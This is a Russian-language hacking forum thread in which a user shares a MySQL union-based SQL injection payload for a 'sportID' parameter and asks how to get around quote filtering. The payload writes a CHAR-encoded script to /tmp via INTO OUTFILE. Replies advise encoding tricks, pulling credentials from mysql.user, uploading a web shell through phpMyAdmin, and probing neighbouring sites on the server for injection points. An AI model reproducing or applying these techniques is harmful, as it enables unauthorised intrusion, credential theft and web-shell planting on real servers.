помогите тож с скуль иньектом
проблема что фильтруются
запрос sportID=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,CHAR(39,60,115,99,114,105,112,116,62,97 ,108,101,114,116,40,50,49,51,41,32,60,47,115,99,11 4,105,112,116,62,39),20+from+t_sports+order+by+lev el+into+outfile+'/tmp/1.txt'/*
Так как путь указан с кавычками то выпрыгивает ерор:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/tmp/1.txt''/* ORDER BY Level' at line 1
Как обойти фильтрацию?

в хекс переведи или в чар

обойди с пхпмайдмина)) путь нельзя хексить или чаром...надо только текстом))

gisTy путь чарить нельзя
а можно подробнее как можно обойти с пхпмайадмина

а че и в хекс перевести нельзя чтоле?

получаешь логин:пасс юзера, ищешь майадмин и через него льёш шелл

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

ага тока с подбором таблиц тож проблема
да и к майадмин доступ запрещен

gisTy

там надо чисто текст в кавычках передовать, хексы и тп не работают

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

crazy~driver
имеется ввиду таблица mysql.user
если у юзера к ней прав нет, можно поискать скули на соседних сайтах

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands